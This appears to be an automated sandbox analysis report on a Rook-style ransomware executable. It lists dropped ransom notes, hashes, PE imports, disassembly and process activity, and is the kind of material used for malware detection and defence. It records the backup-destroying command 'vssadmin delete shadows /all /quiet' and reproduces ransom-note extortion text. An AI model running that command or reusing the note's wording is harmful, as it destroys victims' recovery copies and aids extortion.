Size (bytes):	3096
Entropy (8bit):	7.810972400643584
Encrypted:	false
SSDEEP:	48:pb//sbLTt69nbCxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBlyK:pbn037Ko4/AAUn5U50+NS43LPuLjv
MD5:	64ABF61CFE2583AF5745F79611953631
SHA1:	D5B3E014285647B22A7F3BE506E6ADF1CA04A393
SHA-256:	9F6CA1E2DE9568E8648E3A2D4AAC72A2FE5C55F8E3A2230D2739D49DE55E1A1F
SHA-512:	1D7241B3F5C049DB33EF66164A13243317EF30C44DAC78A4D812B6637F504D57C6905B5E4579A38F7C235631FB58889F287559775BD8661076AD85FE4E533600
Malicious:	false
Preview:	.._.@<57t...`X.C...F..........]$x.......!....^8x\..............u&T.p..d.+.=...DG..................].j0..Iv..q.....;S.......C:\......h.Z.....sktop........\.D.T{g.n..J,.i........X.......alf.."C..#....QR.y..n..O...}R...I.;.c.....4e.....B.n..O...}R...I.@.?.;.iV...wj{.....=...1SPS0.%...;<`..bm%..................D....4.l....w...J..a...1SPS.jc(=..X.:....p(...i.!...........C.:.\.?.aS.9pH..@@...f.r.e.d.o.\.D.ew.....q..-e,1[....9...1SPS..mD..%$.s.{..1).8.s.....H....F.5./EG.....]...Q...sM.......................................... i.D.FVH)......A....aZ...Q{.[.0.....K2.%F..&..~I.....&....^....9.\.....[b..-$zh.....O.. ;G.j.>.[........x.nA.G.[...4$..,ER. D........i.l].\)A..E.]*..l]T..f....T..w...t@.....V......x^.A.T.C..{-..1.....e.X.0r.........r.,mS...P/..MU./.+N..kp.<...?..~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z

C:\Users\user\Links\Downloads.lnk.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3544
Entropy (8bit):	7.743904116842347
Encrypted:	false
SSDEEP:	96:Y2Oby+OR6H0C/83Zows7Ko4/AAUn5U50+NS43LPuLjv:/KOR6UFpocoiM5U50B43LPun
MD5:	7C9F474C41D5ABB80DA356980CE0B7CB
SHA1:	949CD0FB7007A4790D547473C9C2D9013E36F997
SHA-256:	5BE412EE116A38F8604854168B04A85D242070405C0381F3B01944B234B1C53B
SHA-512:	2147BE169B8E0C83A6AF7AB2BF2DFAC52C6332E70059D7FB04B819F7219974E25334D67EDF07D7EEE1D83666537762AF664E750F5CB12800BE32BDB215173901
Malicious:	false
Preview:	q....6........-....F..........]..x.....C\..j.2x\.............. }..........V[.P.O. .:i.....+0.wZ. .h4.a-v.H:9.^F{&...&....c..K&\p.d`..A...../._x\......I.#ad,..Ng...[x.........H.............;......#...ers\user\Down...E.i.[.xC.p.o.w.n.l.o.a.d.s.PSn.2.P..V>..6............M7?.er..87...YiG[.@_.....X.......alf.J....e+!PDs.X...n..O...}R...+I.c....W..@....\u0.n..O...}R...+I..'G....c.y..b.-.....U...1SPS.0...7.K...J...j.n..d............a.........X.g.M)..C.:.\.U.s.e.r.s.-g.(Y..Q.e.....PS.XF.L8C....&..qCqm...E.e....7...S.-.1.-.5.-.2....^ ..t..g9..6.7.3.7.-.5.3.0...5...).3..U..0.2.7.2.4.9.0.5..gr.CiQ.li.. ........1SPS0.%...w..N0Cz.................D.o..[....f...H.+.V.........@.....a..l...(.L>...\|......S.y.s.t.e.h....w%...m..!............@.....k3.n.0,.rk..24SPS.jc(=.......O....@..#.>1.w6.d....C.:.\.U.s.e.5{..~9..C....Y.d.o.\.D.o.w.n.l.5.T..B...E..\|..e9...1SPS..mD..pH;..I._}I.?<....H....F.5./EG.gM..........`............................................#>.p..U..}....

C:\Users\user\Links\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Music\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Pictures\Camera Roll\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Pictures\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Videos\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	198
Entropy (8bit):	4.2443826203531465
Encrypted:	false
SSDEEP:	6:48mgDiWO8t8kFx0lh2azjMkJbBQqQyFQn87s5vXK4s:41TWOO8MxQh2ahbBQqQBn75vXK4s
MD5:	770190F214057CA2F9314CE7B11AB682
SHA1:	5C4BAE9D89D831EB6AC8AC62CD6E57C36AB85DD6
SHA-256:	27D034B12FFC63334D76BF8657B26B67E7E0BFED1FB880548389974AB15559D4
SHA-512:	89F6F8D7720978EB79D5A083EBDFAF71E5FF84D5CC96C9259C9F6328797D7F15C5FA6D2F0B57E77A2115DB56325E8D656AD568006B9937A5255C84046CAA1CC7
Malicious:	false
Preview:	attempting to rename file namesuccessfully renamed file primary :$DATA ADS to specified stream, closing initial handleclosing handle to trigger deletion depositionsuccessfully deleted self from disk

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	5.926790694756029
TrID:	Win64 Executable Console (202006/5) 81.26% UPX compressed Win32 Executable (30571/9) 12.30% Win64 Executable (generic) (12005/4) 4.83% Generic Win/DOS Executable (2004/3) 0.81% DOS Executable Generic (2002/1) 0.81%
File name:	ZunmmW7pe5.exe
File size:	415232
MD5:	6d87be9212a1a0e92e58e1ed94c589f9
SHA1:	19ce538b2597da454abf835cff676c28b8eb66f7
SHA256:	c2d46d256b8f9490c9599eea11ecef19fde7d4fdd2dea93604cee3cea8e172ac
SHA512:	278cc5f0215058c6c6943f9e432a335cb824bbb44437b9e28cb4a2ba710e0485aa1388e8a06257b0eaea7aceeb8dabe57663e62b83f0e517eb53a8d3ff7aec67
SSDEEP:	6144:wmwG6/BAIy0q4KT1Y/Itk5bMTRiGaSD8KM/RiPl+MlfV50kR:wm16/BAIy0q4KT1DaMAGa0nJ
TLSH:	66948E19F7E044F8D977C278C6660616E6F2BC590361DBEF23A44AA51F23AE14E3E710
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......(e.Tl...l...l.....S.i.....Q.......P.a....Z..k....Z..p....Z......e\|1.}...l........Z..\....Z].m....Z..m...Richl..................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x14002add0
Entrypoint Section:	UPX0
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA
Time Stamp:	0x619D04C9 [Tue Nov 23 15:12:09 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	5248c5944a1d330e94f2cebc3ead99ee

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F7A30A8D598h
dec eax
add esp, 28h
jmp 00007F7A30A8D15Bh
int3
int3
dec eax
sub esp, 28h
call 00007F7A30A8DAE8h
test eax, eax
je 00007F7A30A8D303h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007F7A30A8D2E7h
dec eax
cmp ecx, eax
je 00007F7A30A8D2F6h
xor eax, eax
dec eax
cmpxchg dword ptr [00029E38h], ecx
jne 00007F7A30A8D2D0h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007F7A30A8D2D9h
int3
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
movzx eax, byte ptr [00029E53h]
test ecx, ecx
mov ebx, 00000001h
cmove eax, ebx
mov byte ptr [00029E43h], al
call 00007F7A30A8D8CBh
call 00007F7A30A8DC9Ah
test al, al
jne 00007F7A30A8D2E6h
xor al, al
jmp 00007F7A30A8D2F6h
call 00007F7A30A92225h
test al, al
jne 00007F7A30A8D2EBh
xor ecx, ecx
call 00007F7A30A8DCB6h
jmp 00007F7A30A8D2CCh
mov al, bl
dec eax
add esp, 20h
pop ebx
ret
int3
int3
int3
dec eax
mov dword ptr [esp+08h], ebx
push ebp
dec eax
mov ebp, esp
dec eax
sub esp, 40h
mov ebx, ecx
cmp ecx, 01h
ja 00007F7A30A8D38Ch
call 00007F7A30A8DA4Ch
test eax, eax
je 00007F7A30A8D30Dh
test ebx, ebx
jne 00007F7A30A8D309h
dec eax
lea ecx, dword ptr [00029DB8h]

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x65600	0xb4	.rsrc
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x65000	0x1dc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x5c000	0x2bf8	UPX1
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x656c0	0xb58	.rsrc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x64c00	0x94	UPX1
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
UPX0	0x1000	0x3a000	0x3a000	False	0.517679148707	zlib compressed data	6.48037413747	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ
UPX1	0x3b000	0x2a000	0x29e00	False	0.356570662313	data	4.35889885933	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x65000	0x2000	0x1400	False	0.4736328125	data	5.16346554145	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_MANIFEST	0x6505c	0x17d	XML 1.0 document text	English	United States

Imports

DLL	Import
KERNEL32.DLL	GetProcAddress, FindVolumeClose, GetVolumePathNamesForVolumeNameW, FindNextVolumeW, GetTickCount, lstrcmpW, GetDriveTypeW, EnterCriticalSection, WriteFile, LeaveCriticalSection, InitializeCriticalSection, lstrlenA, CreateFileW, DeleteCriticalSection, ReadFile, GetLogicalDrives, FindFirstFileW, GetFileSizeEx, GetCommandLineW, FindNextFileW, GetModuleFileNameW, WaitForMultipleObjects, SetProcessShutdownParameters, SetVolumeMountPointW, CreateMutexA, WaitForSingleObject, ExitThread, SetFileAttributesW, OpenMutexA, SetFileInformationByHandle, lstrcatW, GetSystemInfo, CreateThread, SetFilePointerEx, MoveFileExW, ExitProcess, GetCurrentProcessId, WideCharToMultiByte, lstrcpyW, lstrcmpiW, HeapFree, HeapAlloc, GetProcessHeap, ReleaseSemaphore, CreateSemaphoreA, CloseHandle, RaiseException, Process32FirstW, LoadLibraryA, Process32NextW, GetLastError, Sleep, CreateToolhelp32Snapshot, OpenProcess, GetModuleHandleA, TerminateProcess, lstrlenW, GetCurrentProcess, FindClose, WriteConsoleW, HeapReAlloc, HeapSize, FlushFileBuffers, GetConsoleCP, FindFirstVolumeW, GetConsoleMode, GetStringTypeW, SetStdHandle, SetEnvironmentVariableA, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCPInfo, GetOEMCP, IsValidCodePage, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, IsProcessorFeaturePresent, GetModuleHandleW, RtlUnwindEx, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, GetStdHandle, GetModuleFileNameA, MultiByteToWideChar, GetModuleHandleExW, GetCommandLineA, GetACP, CompareStringW, LCMapStringW, GetFileType, FindFirstFileExA, FindNextFileA
ADVAPI32.dll	CryptGenRandom, RegCloseKey, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, EnumDependentServicesA, CryptAcquireContextW, CloseServiceHandle, OpenSCManagerA, ControlService, QueryServiceStatusEx, OpenServiceA, CryptReleaseContext
MPR.dll	WNetGetConnectionW, WNetOpenEnumW, WNetEnumResourceW, WNetCloseEnum
NETAPI32.dll	NetShareEnum, NetApiBufferFree
RstrtMgr.DLL	RmStartSession, RmRegisterResources, RmGetList, RmEndSession
SHELL32.dll	CommandLineToArgvW, SHEmptyRecycleBinA, ShellExecuteW
SHLWAPI.dll	PathFileExistsW
USER32.dll	wsprintfA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

⊘No network behavior found

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: ZunmmW7pe5.exePID: 8072, Parent PID: 3896

General

Target ID:	0
Start time:	15:16:53
Start date:	14/05/2022
Path:	C:\Users\user\Desktop\ZunmmW7pe5.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\ZunmmW7pe5.exe"
Imagebase:	0x7ff7e3710000
File size:	415232 bytes
MD5 hash:	6D87BE9212A1A0E92E58E1ED94C589F9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 8036, Parent PID: 8072

General

Target ID:	1
Start time:	15:16:53
Start date:	14/05/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6a8820000
File size:	885760 bytes
MD5 hash:	C5E9B1D1103EDCEA2E408E9497A5A88F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 7756, Parent PID: 8072

General

Target ID:	6
Start time:	15:16:55
Start date:	14/05/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet
Imagebase:	0x7ff70ecc0000
File size:	280064 bytes
MD5 hash:	9D59442313565C2E0860B88BF32B2277
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 7980, Parent PID: 7756

General

Target ID:	7
Start time:	15:16:56
Start date:	14/05/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6a8820000
File size:	885760 bytes
MD5 hash:	C5E9B1D1103EDCEA2E408E9497A5A88F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: vssadmin.exePID: 8152, Parent PID: 7756

General

Target ID:	8
Start time:	15:16:56
Start date:	14/05/2022
Path:	C:\Windows\System32\vssadmin.exe
Wow64 process (32bit):	false
Commandline:	vssadmin.exe delete shadows /all /quiet
Imagebase:	0x7ff713280000
File size:	144384 bytes
MD5 hash:	02A10DBF904883B1F8EE9F3CC70F5EB8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: ZunmmW7pe5.exePID: 8072, Parent PID: 3896COMMON

Execution Graph

Execution Coverage:	6.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	19.9%
Total number of Nodes:	1661
Total number of Limit Nodes:	19

Executed Functions

Function 00007FF7E3712070 Relevance: 128.4, APIs: 66, Strings: 7, Instructions: 629
memorystringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesW.KERNELBASE ref: 00007FF7E3712097
lstrlenW.KERNEL32 ref: 00007FF7E37120A4
RtlAllocateHeap.NTDLL ref: 00007FF7E37120D0
lstrcpyW.KERNEL32 ref: 00007FF7E37120F8
lstrcatW.KERNEL32 ref: 00007FF7E3712108
MoveFileExW.KERNELBASE ref: 00007FF7E371211E
CreateFileW.KERNELBASE ref: 00007FF7E3712161
RtlReleasePrivilege.NTDLL ref: 00007FF7E3712176
00007FFD65173ED0.RSTRTMGR ref: 00007FF7E37121EF
00007FFD65173B30.RSTRTMGR ref: 00007FF7E3712226
00007FFD65173960.RSTRTMGR ref: 00007FF7E3712268
GetCurrentProcessId.KERNEL32 ref: 00007FF7E37122BC
OpenProcess.KERNEL32 ref: 00007FF7E37122D4
TerminateProcess.KERNEL32 ref: 00007FF7E37122E8
WaitForSingleObject.KERNEL32 ref: 00007FF7E37122F6
CloseHandle.KERNEL32 ref: 00007FF7E37122FF
lstrlenW.KERNEL32 ref: 00007FF7E3712323
WideCharToMultiByte.KERNEL32 ref: 00007FF7E3712349
lstrlenW.KERNEL32 ref: 00007FF7E3712360
WideCharToMultiByte.KERNEL32 ref: 00007FF7E3712386
GetLastError.KERNEL32 ref: 00007FF7E371238C
HeapFree.KERNEL32 ref: 00007FF7E37123B0
lstrlenW.KERNEL32 ref: 00007FF7E37123DE
WideCharToMultiByte.KERNEL32 ref: 00007FF7E3712408
lstrlenW.KERNEL32 ref: 00007FF7E3712423
WideCharToMultiByte.KERNEL32 ref: 00007FF7E371244D
lstrlenW.KERNEL32 ref: 00007FF7E3712480
WideCharToMultiByte.KERNEL32 ref: 00007FF7E37124AA
RtlAllocateHeap.KERNEL32 ref: 00007FF7E37124D0
lstrlenW.KERNEL32 ref: 00007FF7E37124E5
WideCharToMultiByte.KERNEL32 ref: 00007FF7E3712510
HeapFree.KERNEL32 ref: 00007FF7E3712534
00007FFD65173850.RSTRTMGR ref: 00007FF7E3712540
CreateFileW.KERNEL32 ref: 00007FF7E371256B
HeapFree.KERNEL32 ref: 00007FF7E3712580
GetFileSizeEx.KERNEL32 ref: 00007FF7E37125D3
lstrlenW.KERNEL32 ref: 00007FF7E3712659
WideCharToMultiByte.KERNEL32 ref: 00007FF7E3712683
RtlAllocateHeap.KERNEL32 ref: 00007FF7E37126A0
lstrlenW.KERNEL32 ref: 00007FF7E37126B5
WideCharToMultiByte.KERNEL32 ref: 00007FF7E37126E0
lstrlenW.KERNEL32 ref: 00007FF7E3712708
WideCharToMultiByte.KERNEL32 ref: 00007FF7E3712732
RtlAllocateHeap.KERNEL32 ref: 00007FF7E3712750
lstrlenW.KERNEL32 ref: 00007FF7E3712765
WideCharToMultiByte.KERNEL32 ref: 00007FF7E3712790
GetLastError.KERNEL32 ref: 00007FF7E3712796
HeapFree.KERNEL32 ref: 00007FF7E37127BA
RtlAllocateHeap.NTDLL ref: 00007FF7E3712882
ReadFile.KERNELBASE ref: 00007FF7E37128D6
SetFilePointerEx.KERNELBASE ref: 00007FF7E371294F
WriteFile.KERNELBASE ref: 00007FF7E371296B
ReadFile.KERNELBASE ref: 00007FF7E3712A05
SetFilePointerEx.KERNELBASE ref: 00007FF7E3712AA2
WriteFile.KERNELBASE ref: 00007FF7E3712AC3
SetFilePointerEx.KERNELBASE ref: 00007FF7E3712AD8
WriteFile.KERNELBASE ref: 00007FF7E3712AF8
RtlReleasePrivilege.NTDLL ref: 00007FF7E3712B0A
CloseHandle.KERNEL32 ref: 00007FF7E3712B13
lstrlenW.KERNEL32 ref: 00007FF7E3712B32
WideCharToMultiByte.KERNEL32 ref: 00007FF7E3712B5E
RtlAllocateHeap.KERNEL32 ref: 00007FF7E3712B80
lstrlenW.KERNEL32 ref: 00007FF7E3712B95
WideCharToMultiByte.KERNEL32 ref: 00007FF7E3712BC0
GetLastError.KERNEL32 ref: 00007FF7E3712BC6
HeapFree.KERNEL32 ref: 00007FF7E3712BEA

Strings

Can't open file after killHolder, xrefs: 00007FF7E371279F
Can't RmRegisterResources, xrefs: 00007FF7E3712519
Can't MoveFileExW, xrefs: 00007FF7E3712BCF
Can't OpenProcess, xrefs: 00007FF7E3712395
.Rook, xrefs: 00007FF7E37120FE
Can't RmGetList, xrefs: 00007FF7E3712456
Can't RmStartSession, xrefs: 00007FF7E37126E9

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

